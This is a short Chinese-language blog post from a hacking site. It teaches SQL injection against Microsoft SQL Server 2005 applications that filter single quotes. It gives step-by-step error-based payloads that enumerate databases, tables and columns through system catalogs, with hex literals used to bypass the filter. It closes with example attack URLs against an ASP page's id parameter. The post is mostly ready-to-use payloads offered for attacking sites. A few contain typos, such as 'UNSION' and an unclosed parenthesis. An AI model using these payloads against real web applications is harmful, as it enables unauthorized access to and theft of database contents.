SQL2005过滤单引号的注入方式

分类:安全 | 2011-12-23 | 撸过 50 次
0人扯谈

其中 爆列名有点麻烦

mssql 2005

 

1:

 

and 1=(SELECT @@VERSION)– 判断数据库版本

 

(master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息

 

查询命令:user master;

SELECT * FROM MASTER.DBO.SYSDATABASES

 

系统默认的数据库有:1master 2tempdb 3model 4msdb)

 

2:dbid变量爆数据库名称

 

AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)

 

改变DBID值依次爆出!到无法爆出位置~!

 

3:获取表明

 

(MSSQL2005 每个数据库都有一个用来存放表明信息的表,PUBLIC权限即可查询!

表明为:INFORMATION_SCHEMA.TABLES

 

USE MASTER ;

SELECT * FROM INFORMATION_SCHEMA.TABLES;

 

INFORMATION_SCHEMA.TABLES表的机构:

 

TABLE_NAME

1 XXX

2 XXX

3 XXX

 

而表明就存在TABLE_NAME的列里)

 

4:TOP 1爆出表名

 

AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)

 

更换TOP 1 即可爆出其它的。

 

5:获取爆出表的内容 加上条件语句:where table_name!=0XXXXX (0xxx为上一步你爆出表明的16进制!)

 

AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLENAME!=0XXXXX)

 

 

6:爆列名了

 

MSSQL2005 SYS.ALL_OBJECTS表里存放着表与列的信息,表的列明:其列名OBJECT_ID里存放着一个数值,对应着另一个表名SYS.ALL_COLUMNS里的列明的ID,而SYS.ALL_COLUMNS表里存放着列的信息

 

执行:select * from sys.all_objects

 

表的机构

 

name object_id xxx_id schema_id xxx_id

1 sysXXX 12

2 sysXXX 8

3

4

 

由结构可知,列名name和列名object_id是有对应的。注入时,通过指定的name值爆指定表的object_id值

 

AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE NAME=0XXX

 

 

但是此句无法爆出数据值,用折半法来进行猜解,由于其数值都在10位以上,所有,其法也不太可能,但是可以联合两张表来直接查询,在此提交:

 

AND 9 IN (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXXXX)–

 

就可以爆出0xxxxx的第一个列名,可以加入条件

 

‘and B.NAME!=0X 0X为已爆出的列名,类推可以一次爆出。

 

AND 9 IN(SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXX AND B.NAME!=0XBBBBBB)–

 

最终:

 

表名和列名爆完后:,获取值就很简单

 

例如: xch40.asp?id=1 and 77=(select ascii(@@VERSION))

xch40.asp?id=1 and 1=2 UNSION SELECT 1,2,3,4…@VERSION–…

本站内容均为原创,转载请务必保留署名与链接!
SQL2005过滤单引号的注入方式:https://www.webshell.cc/2348.html
标签: ,

相关日志